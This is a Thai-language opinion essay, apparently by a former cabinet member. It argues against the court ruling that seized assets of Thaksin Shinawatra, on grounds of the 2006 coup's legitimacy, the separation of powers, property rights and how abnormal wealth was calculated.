<p>ก่อนการตัดสินคดียึดทรัพย์ ผมได้คาดการณ์ว่าทรัพย์สินทั้ง 76,000 ล้านคงถูกยึดทั้งหมด โดยผมได้บอกไว้ด้วยว่าที่ผ่านมาผมมักทายการเมืองแม่น แต่ครั้งนี้ผมอยากให้ทายผิด และถ้าทายผิด ผมก็จะดีใจ</p>
<p>ผลการตัดสินออกมา ปรากฏว่าผมทายผิด แต่ผมกลับไม่ได้ดีใจ ซ้ำร้ายยังรู้สึกสลดใจอย่างยิ่งด้วย</p>
<p>ที่ว่าทายผิดนั้นฟังเผินๆก็อาจจะเข้าใจไปได้ว่าเพราะมีการยึดทรัพย์ไม่หมดทั้ง76,000 ล้าน</p>
<p>แต่ในความเห็นของผมนั้น ที่ทายผิดคือ จากผลของคำพิพากษา ในที่สุดจะมีการยึดทรัพย์มากกว่า 76,000 ล้านอีกมาก นอกจากนั้นยังจะมีคดีร้ายแรงตามมาอีกหลายคดีดังที่ปรากฏเป็นข่าวไปบ้างแล้วด้วย</p>
<p>ก่อนการตัดสินคดีนี้ ผมได้เสนอความเห็นต่อคดีนี้และเรื่องที่เกี่ยวกับคดีนี้ไปบ้างแล้ว หลังการตัดสินคดี ผมเห็นว่าผลการตัดสินคดีนี้ได้เสนอปัญหาสำคัญๆ เกี่ยวกับรัฐธรรมนูญและระบบยุติธรรมของประเทศ ในฐานะที่ผมสนใจที่จะผลักดันให้มีการแก้รัฐธรรมนูญและปฏิรูประบบยุติธรรม ผมจึงเห็นว่าควรเสนอความคิดเห็นเพื่อให้สังคมไทยได้ร่วมกันพิจารณาต่อไป</p>
<p>ผมคงไม่อยู่ในวิสัยที่จะแสดงความคิดเห็นเกี่ยวกับข้อเท็จจริงและข้อกฎหมายในรายละเอียด และคิดว่าถ้าให้ทำหน้าที่อย่างนั้นคงไม่เป็นประโยชน์เท่าใดนัก ปล่อยให้เป็นหน้าที่ของผู้สันทัดกรณีจะดีกว่า</p>
<p>สิ่งที่ผมคิดว่าจะทำประโยชน์ได้มากกว่าก็คือ การหยิบประเด็นใหญ่ๆ ที่เห็นว่ามีประเด็นที่สังคมไทยควรจะได้นำมาศึกษาทำความเข้าใจกันอย่างจริงจังต่อไป โดยเฉพาะคำถามในเชิงหลักการและเชิงระบบของสังคมไทยอยู่หลายประการ ที่หากไม่ทำความเข้าใจและหาหลักเกณฑ์ที่ถูกต้องให้ได้แล้ว ก็อาจเป็นปัญหาใหญ่ของสังคมไทยต่อไปอีกยาวนาน ประเด็นที่สำคัญมีดังต่อไปนี้<br />
<strong> 1) การรัฐประหารและกลไกที่คณะรัฐประหารตั้งขึ้น  เป็นทางออกสำหรับการแก้ปัญหาการทุจริตคอรัปชั่นหรือไม่</strong><br />
หากไม่มีการรัฐประหาร ไม่มีประกาศ คปค.ฉบับที่ 30 และไม่มีการตั้ง คตส.ที่มีอำนาจอย่างนี้ ย่อมไม่อาจมีการพิจารณาคดีอย่างที่เกิดขึ้นไปแล้วได้</p>
<p>ดูจากคำพิพากษาในตอนท้ายก็จะเห็นว่า คำวินิจฉัยให้ยึดทรัพย์นั้น ไม่ได้อาศัย พ.ร.บ.ป.ป.ช.อย่างเดียว แต่อาศัยประกาศ คปค.ฉบับที่ 30 ด้วย</p>
<p>คดียึดทรัพย์จึงเป็นผลต่อเนื่องจากการรัฐประหารและการออกคำสั่งของคณะรัฐประหาร</p>
<p>ผู้ที่ยืนยันความจริงในข้อนี้ได้อย่างดีก็คือ รัฐมนตรีว่าการกระทรวงการคลังคนปัจจุบันนั่นเอง ที่ออกมารำพึงว่า “วันนี้สิ่งที่ผมคิดคือ ถ้าไม่มีการปฏิวัติในปี 49 และไม่มี คตส. เราจะเห็นความยุติธรรมปรากฏในคดีนี้หรือไม่”</p>
<p>เพียงแต่ว่าท่านถึงกับเห็นการรัฐประหารและการตั้ง คตส.เป็นเรื่องดีงาม เหมือนกับการ “เห็นกงจักรเป็นดอกบัว” ไป</p>
<p>คตส.ตั้งขึ้นมาเพื่อตรวจสอบความผิดของบุคคลคณะเดียวเป็นการเฉพาะ คือคณะรัฐมนตรีในรัฐบาลก่อนการยึดอำนาจเท่านั้น และยังประกอบด้วยบุคคลหลายคนที่วางตัวเป็นปฏิปักษ์ต่อผู้ถูกกล่าวหาอย่างโจ่งแจ้ง เป็นการขัดต่อหลักนิติธรรมอย่างยิ่ง คตส.ทำหน้าที่เป็นทั้งพนักงานสอบสวนและอัยการได้พร้อมๆกัน ซึ่งไม่เป็นไปตามระบบกฎหมายปกติของประเทศ และยังสามารถดำเนินการโดยไม่ต้องปฏิบัติตามกฎหมายวิธีพิจารณาความตามปรกติ</p>
<p>คตส.กระทำการโดยไม่ต้องเกรงกลัวต่อการกระทำผิดกฎหมาย ก็เพราะได้รับการคุ้มครองโดยรัฐธรรมนูญมาตรา 309 ซึ่งบัญญัติว่าการกระทำใดๆ ขององค์กรอย่างคตส.เป็นการกระทำที่ชอบด้วยรัฐธรรมนูญทั้งสิ้น</p>
<p>เมี่อ คตส.มีที่มาที่ไม่ถูกต้องชอบธรรมและยังดำเนินการในลักษณะที่ไม่ชอบธรรมด้วย แม้คดีนี้จะตัดสินโดยศาลที่ไม่ได้มาจากคณะรัฐประหาร แต่เมื่อคดีเกิดขึ้นได้ก็เนื่องจากมีการรัฐประหาร และคณะรัฐประหารก็ยังได้แทรกแซงกระบวนการยุติธรรมด้วยการออกคำสั่งที่ไม่ชอบธรรมด้วยแล้ว ความชอบธรรมในการพิจารณาตัดสินคดีนี้จึงได้รับความกระทบกระเทือนไปด้วย</p>
<p>การแก้ปัญหาการทุจริตคอรัปชั่นที่อาศัยการรัฐประหารเป็นจุดเริ่มต้น จึงไม่อาจเป็นที่ยอมรับของประชาชนส่วนใหญ่ได้<br />
<strong> 2)  ปัญหาหลักการเกี่ยวกับการแบ่งแยกอำนาจและการปฏิบัติตามรัฐธรรมนูญ</strong><br />
เรื่องที่คตส.กล่าวหาว่าดร.ทักษิณเอื้อประโยชน์และทำให้รัฐเสียหายนั้นมีอยู่ 5 เรื่องด้วยกัน มีอยู่ 2 เรื่องที่ คตส.เห็นว่าเป็นเรื่องที่ทำไปโดย ครม.ที่มี ดร.ทักษิณเป็นหัวหน้า คือเรื่องการแปลงสัมปทานเป็นภาษีสรรพสามิตและการให้สินเชื่อดอกเบี้ยต่ำแก่ประเทศพม่า ส่วนอีก 3 เรื่องเป็นเรื่องที่ไม่ได้ทำโดยครม. แต่ คตส.เห็นว่า ดร.ทักษิณในฐานะหัวหน้ารัฐบาลย่อมมีอำนาจมากพอที่จะไปสั่งการให้เกิดการกระทำเหล่านั้นขึ้นได้</p>
<p>เรื่องทั้ง 5 เรื่องมีลักษณะคล้ายกันอยู่บางประการคือ ทุกเรื่องเป็นการกล่าวหาว่าเอื้อประโยชน์หรือทำให้รัฐเสียหาย ทั้งๆ ที่ไม่มีการทำผิดกฎหมาย</p>
<p>การออกมาตรการต่างๆตามที่ถูกกล่าวหานั้นเป็นการดำเนินงานของคณะรัฐมนตรีบ้าง คณะกรรมการของทางราชการบ้าง หรือคณะกรรมการของรัฐวิสาหกิจบ้าง การดำเนินการต่างๆ นั้นเป็นการกระทำตามอำนาจหน้าที่ที่มีกฎหมายรองรับให้กระทำได้</p>
<p>การออกมาตรการต่างๆ ของรัฐที่เกี่ยวกับผลประโยชน์ของรัฐ เอกชนและประชาชนนั้น จะทำอย่างไรจึงจะดี ย่อมมีความเห็นแตกต่างกันได้เสมอ เมื่อผู้รับผิดชอบดำเนินการไปโดยเห็นว่าดี อาจมีคนส่วนหนึ่งเห็นว่าไม่ดีก็ได้</p>
<p>ปัญหามีว่าเมื่อมีคนเห็นว่าไม่ดีแล้ว อย่างไรจึงถึงขั้นที่จะลงโทษผู้รับผิดชอบได้ หากเป็นการกระทำที่ผิดกฎหมาย เช่นออกมาตรการไปทั้งๆ ที่กฎหมายไม่อนุญาตให้ทำได้ ฝ่าฝืนกฎหมายหรือละเว้นที่จะปฏิบัติตามที่กฎหมายกำหนด ผู้ที่กระทำผิดกฎหมายเหล่านั้นย่อมต้องถูกดำเนินคดีและถูกลงโทษ</p>
<p>ผู้ที่ควรทำหน้าที่ในการตัดสินลงโทษคือ ศาลยุติธรรม</p>
<p>แต่ถ้าการดำเนินการนั้นไม่ผิดกฎหมาย การพิจารณาว่าการดำเนินการอย่างไรดีหรือดี จะใช้มาตรการหนึ่งๆให้เป็นประโยชน์ต่อรัฐหรือเอกชนหรือประชาชนอย่างไรจึงจะดี ย่อมเป็นปัญหานโยบายที่ฝ่ายบริหารจะต้องรับผิดชอบต่อรัฐสภาและประชาชน</p>
<p>คำถามในเชิงระบบก็คือ ฝ่ายตุลาการพึงเข้ามาเป็นผู้ตัดสินในทางนโยบายมากน้อยเพียงใด นี่ก็คือปัญหาหลักการเกี่ยวกับการแบ่งแยกอำนาจ ระหว่างอธิปไตย 3 ฝ่าย</p>
<p>ในบรรดาเรื่องทั้ง 5 เรื่องนั้น เรื่องที่ควรกล่าวถึงเป็นพิเศษคือ เรื่องการแปลงสัมปทานเป็นภาษีสรรพสามิต</p>
<p>เรื่องนี้เป็นข้อกล่าวหาที่สำคัญที่สุดในบรรดาข้อกล่าวหาทั้ง 5 ข้อ และเป็นเรื่องที่มีปัญหาในเชิงหลักการและเชิงระบบที่ใหญ่ที่สุดด้วย</p>
<p>ผมจะไม่ลงในรายละเอียด แต่ในฐานะที่อยู่ใน ครม.ที่ออกกฎหมายนั้นด้วย ก็พอทราบถึงเหตุผลและความเป็นมาพอเล่าสู่กันฟังได้บ้าง</p>
<p>ความจริงแล้วการแปลงสัมปทานเป็นภาษีสรรพสามิต  ไม่ได้เป็นความริเริ่มของ ครม.ทักษิณหรือตัว ดร.ทักษิณเลย เรื่องนี้มีความเป็นมาตั้งแต่ปี 2539 ที่ประเทศไทยเข้าเป็นภาคีสมาชิกองค์การการค้าโลกหรือ WTO ทำให้ประเทศไทยต้องเปิดเสรีโทรคมนาคม ในปี 2540 สมัยรัฐบาล พล.อ.ชวลิต ยงใจยุทธ จึงได้มีแผนแม่บทพัฒนากิจการโทรคมนาคมขึ้น โดยได้รับอนุมัติจาก ครม. ตามแผนดังกล่าวนี้มีหลักอยู่ 3 ประการคือ</p>
<ol>
<li>ต้องยกเลิกการผูกขาดขององค์การโทรศัพท์และการสื่อสารแห่งประเทศไทย</li>
<li>จัดตั้งองค์กรอิสระเพื่อกำกับดูแลกิจการโทรคมนามคม</li>
<li>ต้องแปรรูป กสท.และทศท.เป็นบริษัทมหาชน เพื่อที่จะนำเข้าตลาดหลักทรัพย์ โดยรัฐบาลจะถือหุ้นเพียง 30 เปอร์เซ็นต์ ที่เหลือถือโดยประชาชน</li>
</ol>
<p>แผนนี้ได้มีการดำเนินการต่อเนื่องโดยรัฐบาลต่อๆ มา และจากหลักการ 3 ประการข้างต้นนี้เอง จึงเป็นที่มาของการแปลงสัมปทานเป็นภาษีสรรพสามิต</p>
<p>รัฐวิสาหกิจจำนวนมากได้รับผลประโยชน์จากสัมปทานซึ่งเกิดขึ้นได้จากความเป็นองค์กรของรัฐและใช้อำนาจตามกฎหมาย เมื่อจะเปลี่ยนเป็นบริษัทมหาชน ซึ่งมีเอกชนและประชาชนเข้ามาร่วมเป็นเจ้าของ จึงมีปัญหาต้องพิจารณาว่าผลประโยชน์จากสัมปทานนั้นควรยกให้ประชาชนผู้ถือหุ้นเข้ามาร่วมเป็นเจ้าของทั้งหมดและตลอดไปหรือไม่ ข้อสรุปที่ดีสำหรับเรื่องนี้ก็คือ ผลประโยชน์ที่เกิดจากการอาศัยความเป็นรัฐไม่ควรติดตามองค์กรไปด้วยทั้งหมด จนเป็นประโยชน์แก่เฉพาะผู้ร่วมเป็นเจ้าของบริษัทมหาชนเท่านั้น</p>
<p>ในกรณีการแปรรูป ทศท. ภาษีสรรพสามิตจึงเป็นทางออก ทางออกที่เห็นร่วมกันของหน่วยงานต่างๆ จำนวนมากที่ประกอบไปด้วยผู้เชี่ยวชาญทางด้านการคลัง การโทรคมนาคม และด้านอื่นๆ</p>
<p>ไม่ว่าใครเป็นนายกรัฐมนตรีก็ย่อมต้องใช้วิธีเดียวกัน</p>
<p>เมื่อมีการออกกฎหมายภาษีสรรพสามิตแล้ว ก็ได้มีการออกมติ ครม.เพื่อให้ผู้ประกอบการทุกเจ้าสามารถนำเอาภาษีสรรพสามิตไปหักออกจากค่าสัมปทานได้ เพื่อให้เป็นไปตามวัตถุประสงค์ คือให้รัฐมีรายได้ในรูปของภาษีสรรพสามิต โดยผู้ประกอบการจ่ายเท่าเดิม</p>
<p>วิธีนี้ความจริงแล้วทำให้รัฐมีรายได้มากกว่าการคงรายได้ในรูปสัมปทานไว้ทั้งหมดด้วยซ้ำ เพราะในแต่ละปี ทศท.ส่งเงินรายได้เข้าคลังแต่เพียงส่วนน้อยเท่านั้น ในขณะที่ทุกบาททุกสตางค์จากภาษีสรรพสามิตเป็นรายได้เข้าคลังทั้งหมด</p>
<p>ข้อกล่าวหามีว่า ผู้ถูกกล่าวหาเป็นผู้ริเริ่มให้มีการออกกฎหมายสรรพสามิต แล้วให้นำภาษีสรรพสามิตไปหักออกจากค่าสัมปทานตามข้อตกลงในสัญญาสัมปทานนั้น  เป็นการใช้อำนาจในฐานะนายกรัฐมนตรีโดยไม่สุจริต แทรกแซงองค์กรอิสระ กีดกันผู้ประกอบการในกิจการโทรคมนาคมรายใหม่ และเอื้อประโยชน์ให้แก่บริษัท เอไอเอส</p>
<p>ข้อกล่าวหาทั้งหมดนี้ ถ้าจะอธิบายในแต่ละประเด็น ก็สามารถทำได้ไม่ยาก แต่คงไม่มีประโยชน์มากนัก <strong> </strong></p>
<p><strong>ที่ควรกล่าวถึงมากกว่าและสำคัญอย่างยิ่งก็คือ ประเด็นข้อกล่าวหาเหล่านี้ไม่ใช่ประเด็นใหม่ แต่เป็นประเด็นที่ได้มีการหยิบยกขึ้นมาคัดค้านการออกกฎหมายสรรพสามิต และการออกมาตรการยอมให้นำภาษีสรรพสามิตไปหักจากส่วนแบ่งรายได้มาก่อนแล้ว</strong></p>
<p>หลังจากการออกกฎหมายและมาตรการดังกล่าว สส.ฝ่ายค้านและสมาชิกวุฒิสภาจำนวนหนึ่งได้ยื่นเรื่องคัดค้านในประเด็นเดียวกันนี้ต่อศาลรัฐธรรมนูญมาแล้ว</p>
<p>ผลปรากฏว่าศาลรัฐธรรมนูญได้วินิจฉัยไว้แล้วว่าการออกกฎหมายและมาตรการดังกล่าวเป็นไปโดยชอบด้วยกฎหมาย และเป็นไปเพื่อรักษาผลประโยชน์ของรัฐและประชาชน หักล้างข้อกล่าวหาเดียวกันนี้มาแล้วในทุกประเด็น</p>
<p>ผมได้นำข้อเปรียบเทียบคำวินิจฉัยของศาลรัฐธรรมนูญกับคำวินิจฉัยศาลฎีกาของผู้ดำรงตำแหน่งทางการเมืองมาไว้ด้วยแล้ว (เอกสารแนบ ๑)</p>
<p>ปัญหาจึงมีต่อไปว่าเมื่อศาลรัฐธรรมนูญเคยวินิจฉัยไว้ดังกล่าวแล้ว เหตุใดศาลฎีกาของผู้ดำรงตำแหน่งทางการเมืองจึงยังสามารถนำประเด็นเดียวกันมาพิจารณาใหม่ได้ จนนำไปสู่ข้อสรุปว่าผู้ถูกกล่าวหากระทำการทุจริตตามข้อกล่าวหา เป็นการเอื้อประโยชน์ ทำให้รัฐเสียหาย และทำให้มีทรัพย์สินมากขึ้นผิดปรกติ ร่ำรวยผิดปรกติ และต้องถูกยึดทรัพย์ในที่สุด</p>
<p>นี่เป็นปัญหาเชิงหลักการว่าด้วยการปฏิบัติตามรัฐธรรมนูญ และเป็นปัญหาเชิงระบบว่าด้วยการแบ่งแยกขอบเขตอำนาจหน้าที่และการถ่วงดุลกันของอำนาจอธิปไตยทั้งสาม</p>
<p>การแบ่งแยกอำนาจหน้าที่ออกเป็นฝ่ายบริหาร นิติบัญญัติ และตุลาการนั้น เป็นหลักการสำคัญของระบอบประชาธิปไตย คู่กับความเป็นนิติรัฐ ยึดหลักนิติธรรม แตกต่างจากระบอบการปกครองที่ให้รัฐบาลอยู่เหนือกฎหมาย เป็นกฎหมายเสียเอง หรือทำหน้าที่ตัดสินคดีความได้เองด้วย</p>
<p>ในการแบ่งแยกอำนาจนี้ให้ฝายบริหารบริหารบ้านเมืองไปแต่ต้องไม่ทำผิดกฎหมาย จะลงโทษใครก็ต้องใช้กฎหมายที่เขียนขึ้นโดยชอบ คือโดยความเห็นชอบของประชาชนส่วนใหญ่ นั่นคือต้องมีฝ่ายนิติบัญญัติที่มาจากประชาชนมาทำหน้าที่ในการออกกฎหมาย โดยทั่วไปแล้วก็มักกำหนดให้ทั้งฝ่ายบริหารและฝ่ายนิติบัญญัติสามารถเสนอกฎหมายได้ แต่เป็นฝ่ายนิติบัญญัติที่จะเห็นชอบให้กฎหมายมีผลบังคับใช้ได้</p>
<p>การจะให้ทุกคนทุกฝ่ายปฏิบัติตามกฎหมายที่ฝ่ายนิติบัญญัติได้บัญญัติไว้เป็นหน้าที่ของศาล</p>
<p>หากฝ่ายบริหารก็ดี หรือฝ่ายนิติบัญญัติก็ดีทำผิดกฎหมาย ศาลย่อมมีหน้าที่ลงโทษได้</p>
<p>ตราบใดที่กฎหมายที่ออกไม่ขัดต่อรัฐธรรมนูญ การออกกฎหมายใหม่ย่อมสามารถแก้กฎหมายที่มีอยู่แล้วเสียอย่างไรก็ได้ การออกกฎหมายให้มีเนื้อหาสาระอย่างหนึ่งอย่างใดจึงไม่อาจเป็นการกระทำที่ผิดกฎหมายไปได้</p>
<p>หากมีผู้เห็นว่ากฎหมายที่ออกนั้นขัดต่อรัฐธรรมนูญก็สามารถร้องคัดค้านต่อศาลรัฐธรรมนูญได้ ในกรณีเช่นนี้ผู้ที่มีอำนาจวินิจฉัยก็คือศาลรัฐธรรมนูญ</p>
<p>แต่ศาลอื่นจะพิจารณาว่าการเสนอกฎหมายของฝ่ายบริหารและการเห็นชอบให้ออกกฎหมายของรัฐสภาเป็นการกระทำผิดกฎหมายหรือไม่ จึงไม่อาจกระทำได้</p>
<p>ยิ่งจะพิจารณาว่าการออกกฎหมายนั้นดีหรือไม่ เป็นประโยชน์ต่อประเทศชาติหรือไม่ยิ่งไม่ได้ เพราะนั่นเป็นปัญหานโยบายที่รัฐบาลจะต้องรับผิดชอบต่อสภาและประชาชน</p>
<p>กรณีการแปลงสัมปทานเป็นภาษีสรรพสามิตนี้ ได้มีการร้องคัดค้านต่อศาลรัฐธรรมนูญมาแล้ว ทั้งในสาระของกฎหมายและมาตรการที่เกี่ยวข้อง และศาลรัฐธรรมนูญได้วินิจฉัยแล้วว่าทั้งหมดทุกประเด็นชอบด้วยกฎหมาย และเป็นประโยชน์ต่อประเทศชาติและประชาชน</p>
<p>รัฐธรรมนูญได้บัญญัติไว้ว่าการวินิจฉัยของศาลรัฐธรรมนูญให้เป็นที่สุด และย่อมมีผลผูกพันศาลและองค์กรอื่นตามรัฐธรรมนูญด้วย</p>
<p>การที่ศาลฎีกาของผู้ดำรงตำแหน่งทางการเมืองนำเรื่องที่ศาลรัฐธรรมนูญได้วินิจฉัยไปแล้วขึ้นมาพิจารณาอีก และวินิจฉัยไปในทางตรงข้าม จึงไม่สอดคล้องกับบทบัญญัติแห่งรัฐธรรมนูญ<br />
<strong> 3)  ปัญหาการคุ้มครองกรรมสิทธิ์เอกชนจากการยึดเป็นของรัฐ</strong><br />
ทรัพย์สินที่ถูกยึดในครั้งนี้เป็นเงินในบัญชีในธนาคารอย่างถูกต้องตามกฎหมายในชื่อของลูกๆ และน้องของ ดร.ทักษิณ บุคคลเหล่านี้ไม่ได้เป็นข้าราชการการเมือง ไม่มีกฎหมายให้ยึดทรัพย์บุคคลเหล่านี้ได้ จะยึดได้ก็ต่อเมื่อเงินเหล่านี้เป็นของดร.ทักษิณเอง</p>
<p>คตส.กล่าวหาว่าเงินนี้มาจากการขายหุ้น หุ้นที่ คตส.เห็นว่าเป็นของ ดร.ทักษิณ</p>
<p>หุ้นเหล่านี้เดิมเป็นของ ดร.ทักษิณและภรรยาจริง</p>
<p>แต่เนื่องจากรัฐธรรมนูญกำหนดว่ารัฐมนตรีจะถือหุ้นของบริษัทเกินกว่าจำนวนที่กำหนดไม่ได้ หรือจะถือหุ้นของบริษัทที่มีสัมปทานกับรัฐก็ไม่ได้ รัฐมนตรีคนใดมีหุ้นดังกล่าวอยู่ก่อนเข้ารับตำแหน่งจึงต้องขายหรือโอนให้ผู้อื่นไปเสีย ดร.ทักษิณจึงได้โอนหุ้นที่มีอยู่ให้ลูกและน้องไปก่อนที่จะเข้ารับตำแหน่ง</p>
<p>ข้อกล่าวหาเรื่องโอนหุ้นแบบอำพราง ถือหุ้นแทนกัน ซุกหุ้น ปกปิดทรัพย์สิน จึงเข้ามาตรงนี้</p>
<p>เมื่อถือว่า ดร.ทักษิณเป็นเจ้าของหุ้นตัวจริง ก็สามารถโยงไปยังเรื่องเอื้อประโยชน์ ทำให้รัฐเสียหาย มีทรัพย์สินเพิ่มมากขึ้นผิดปรกติ ร่ำรวยผิดปรกติ และดังนั้นจึงยึดทรัพย์ได้</p>
<p>หุ้นเป็นของใครและเงินในธนาคารเป็นของใครจึงเป็นประเด็นสำคัญเป็นอันดับแรก</p>
<p>คตส.กล่าวหาว่าการโอนหุ้นเป็นการโอนแบบอำพรางไม่ได้โอนจริง เหตุผลสำคัญคือ การที่ ดร.ทักษิณโอนหุ้นให้ลูกนั้นซื้อขายกันในราคาถูกกว่าปรกติ เมื่อลูกรับหุ้นมาแล้วก็ไม่แสดงความเป็นเจ้าของ นานๆ จะเข้าประชุมผู้ถือหุ้นครั้งหนึ่ง เวลาขายหุ้นให้เทมาเส็ค เทมาเส็คก็ไม่ได้ติดต่อกับลูกผู้มีชื่อเป็นเจ้าของหุ้น แต่กลับไปติดต่อกับลุงคือนายบรรณพจน์แทนเป็นต้น</p>
<p>ข้อกล่าวหาเหล่านี้มีน้ำหนักพอที่จะถือว่าหุ้นเหล่านี้ยังคงเป็นของ ดร.ทักษิณอยู่หรือไม่</p>
<p>ดร.ทักษิณโอนหุ้นให้ลูกที่บรรลุนิติภาวะแล้วและน้อง ซึ่งรัฐธรรมนูญไม่ได้ห้ามไว้</p>
<p>เมื่อกฎหมายอนุญาตให้โอนให้ลูกได้ การจะดูว่าซื้อขายกันในราคาเท่าไร ถูกหรือแพงผิดปรกติหรือไม่ ย่อมไม่สามารถใช้บรรทัดฐานอย่างปรกติได้ เพราะพ่ออาจจะให้ลูกเปล่าๆ ก็ยังได้</p>
<p>ส่วนการที่มีหุ้นแล้ว นานๆ จะเข้าประชุมครั้งหนึ่งก็เป็นเรื่องวิธีการดูแลธุรกิจของแต่ละคนที่อาจเลือกใช้วิธีอย่างไรก็ได้ ไม่ใช่เรื่องผิดปรกติ</p>
<p>ยิ่งเวลาขาย เทมาเส็คไม่ได้ติดต่อกับเจ้าของหุ้นเอง แต่กลับไปติดต่อกับลุง ก็ยิ่งไม่ใช่เรื่องผิดปรกติที่ลูกคนหนึ่งจะไว้ใจผู้ที่เป็นพี่ชายของแม่ตนเองให้ช่วยคิดและตัดสินใจแทนตนได้</p>
<p>ข้อกล่าวหาดังกล่าวจึงไม่อาจทำให้หุ้นที่โอนให้ลูกไปแล้วอย่างถูกต้องสมบูรณ์ตามกฎหมายกลับมาเป็นของพ่อไปได้</p>
<p>ตลอดระยะเวลาก่อนการขายหุ้น หุ้นนี้ไม่ใช่ทรัพย์สินของ ดร.ทักษิณ แต่เป็นของน้องและลูกอย่างถูกต้องตามกฎหมายทุกประการ เมื่อขายแล้วได้เงินมา ก็ไม่ได้อยู่ในบัญชีธนาคารในชื่อของ ดร.ทักษิณ แต่อยู่ในบัญชีของน้องและลูก</p>
<p>ทรัพย์สินทั้งหมดจึงเป็นกรรมสิทธิ์โดยชอบด้วยกฎหมายของน้องและลูกของ ดร.ทักษิณ</p>
<p>การที่ศาลตัดสินตามข้อกล่าวหาของ คตส.ว่าทรัพย์สินยังเป็นของ ดร.ทักษิณ เพราะฉะนั้นจึงให้ยึดทรัพย์สินนั้นได้ มีคำถามใหญ่ๆ ตามมาอีกมากเช่น</p>
<p>ประเทศไทยเป็นประเทศเสรี รัฐธรรมนูญทุกฉบับรับรองกรรมสิทธิ์เอกชน ไม่อนุญาตให้รัฐยึดทรัพย์สินของเอกชนมาเป็นของรัฐได้ หากจะเวนคืนก็ต้องชดใช้ จะริบก็ต้องเกิดจากการกระทำผิดกฎหมายของเจ้าของกรรมสิทธิ์นั้น</p>
<p>แต่ถ้ามองจากของลูกและน้องของดร.ทักษิณซึ่งเป็นเจ้าของทรัพย์สินตามกฎหมายอยู่ ก็จะเกิดคำถามว่าทรัพย์สินที่เป็นกรรมสิทธิ์ของคนๆหนึ่งอย่างถูกต้องตามกฎหมายอาจตกเป็นของผู้อื่นไปได้ด้วยเหตุใดบ้าง และทรัพย์สินเอกชนจะถูกยึดเป็นของรัฐได้ด้วยเหตุใดบ้าง</p>
<p>จากกรณีที่เกิดขึ้น มีคำถามว่า การที่คนๆ หนึ่งได้ทรัพย์สินเป็นหุ้นมาด้วยการซื้ออย่างถูกต้องตามกฎหมาย มีการจดทะเบียนอย่างถูกต้องเปิดเผยในตลาดหลักทรัพย์ เมื่อขายให้ผู้อื่นก็ทำสัญญาด้วยตนเองเป็นนิติกรรมที่ถูกต้องตามกฎหมาย และต่อมาก็ได้ฝากเงินไว้กับธนาคารพาณิชย์อย่างถูกต้องตามกฎหมาย สัญญานิติกรรมที่ถูกต้องในระบบของตลาดหลักทรัพย์ของประเทศไทยและในระบบธนาคารพาณิชย์ของประเทศไทย ไม่อาจปกป้องทรัพย์สินของผู้ที่ไม่ได้ทำผิดกฎหมายใดๆ ไม่ให้ทรัพย์สินเหล่านั้นต้องตกเป็นของรัฐเนื่องจากการกระทำผิดของผู้อื่นได้เลยหรือ</p>
<p>ในกรณีเดียวกันนี้ เมื่อมีคำสั่งให้ยึดทรัพย์แล้ว ยังมีปัญหาเกี่ยวกับกรรมสิทธิ์ที่น่าสนใจตามมาอีกคือ ทรัพย์สินที่เหลือจากการยึดทรัพย์เป็นของใคร</p>
<p>ในเมื่อศาลเห็นว่าทรัพย์สินเป็นของ ดร.ทักษิณจึงสั่งให้ยึดได้ ทรัพย์สินที่เหลือจากการยึดก็ต้องเป็นของ ดร.ทักษิณ แต่ทำไมกระทรวงการคลังสั่งให้ยึดทรัพย์สินที่เหลือไว้เพื่อให้ลูกของ ดร.ทักษิณใช้ชำระภาษีจากการขายหุ้น</p>
<p>แสดงว่ากระทรวงการคลังยังถือว่า ทรัพย์สินที่เหลือไม่ใช่ของ ดร.ทักษิณ แต่เป็นของลูก โดยดูว่าเงินอยู่ในบัญชีใครก็เป็นของคนนั้น</p>
<p>เท่ากับว่ารัฐกำลังตีความแต่ในทางที่เป็นประโยชน์ต่อรัฐ โดยไม่คำนึงถึงผลเสียหายที่เกิดกับเอกชนและความยุติธรรมเลย</p>
<p>ความไม่ชัดเจนในเรื่องกรรมสิทธิ์เช่นนี้อาจมีผลให้เจ้าของเงินไม่ได้เงินคืนไปได้ง่ายๆ ต้องรอไปเรื่อยๆ จนกระทั่งถูกอายัด หรือยึดทรัพย์จากกรณีอื่นๆ อีกก็เป็นได้<br />
<strong> 4) จะคำนวณจำนวนทรัพย์สินที่เพิ่มมากขึ้นผิดปรกติอย่างไร</strong><br />
ผมได้วิจารณ์ทฤษฎีวัวกินหญ้าไว้แล้วว่าเป็นความคิดที่เลอะเทอะที่สุด ทฤษฎีนี้ดูจะไม่เป็นที่ยอมรับ และในที่สุดทรัพย์สินก็ถูกยึดไปบางส่วน ไม่ใช่ทั้งหมด</p>
<p>เนื่องจากกรณีที่ถูกกล่าวหาเกิดขึ้นในระหว่างที่ทรัพย์สินอยู่ในรูปของหุ้นในตลาดหลักทรัพย์ เมื่อจะคำนวณว่าควรยึดเท่าไรและควรคืนให้เท่าไรจึงใช้ราคาหลักทรัพย์เป็นเกณฑ์ในการคำนวณ โดยใช้วันที่ผู้ถูกกล่าวหาเริ่มดำรงตำแหน่งนายกรัฐมนตรีเป็นเส้นแบ่ง</p>
<p>นี่เท่ากับถือว่ามูลค่าหุ้นที่เพิ่มขึ้นทั้งหมดนับแต่วันที่ผู้ถูกกล่าวหาเป็นนายกรัฐมนตรีจนถึงวันที่มีการซื้อขายหุ้นเป็นการเพิ่มขึ้นโดยผิดปรกติทั้งหมด</p>
<p>แต่มูลค่าหุ้นขึ้นมาก จากสาเหตุอะไรแน่ และจะคำนวณกันอย่างไร</p>
<p>หุ้นของบริษัทต่างๆ ส่วนใหญ่ก็ขึ้นลงตามดัชนีของตลาดหลักทรัพย์ จากวันที่ผู้ถูกกล่าวหาเริ่มดำรงตำแหน่งนายกรัฐมนตรีจนถึงวันที่ขายหุ้น ก็ปรากฏว่ามูลค่าหุ้นของบริษัทใหญ่ๆในตลาดหลักทรัพย์ก็ขึ้นตามดัชนีตลาดหลักทรัพย์กันทั้งนั้น</p>
<p>การจะคิดว่ามูลค่าหุ้นที่เพิ่มขึ้นเป็นเพราะมีการออกมาตรการต่างๆเท่านั้นจึงไม่สอดคล้องกับความเป็นจริง</p>
<p>เหตุใดจึงไม่มีการคำนวณว่ามาตรการหนึ่งๆ ทำให้มูลค่าหุ้นเพิ่มขึ้นเป็นจำนวนเท่าใด</p>
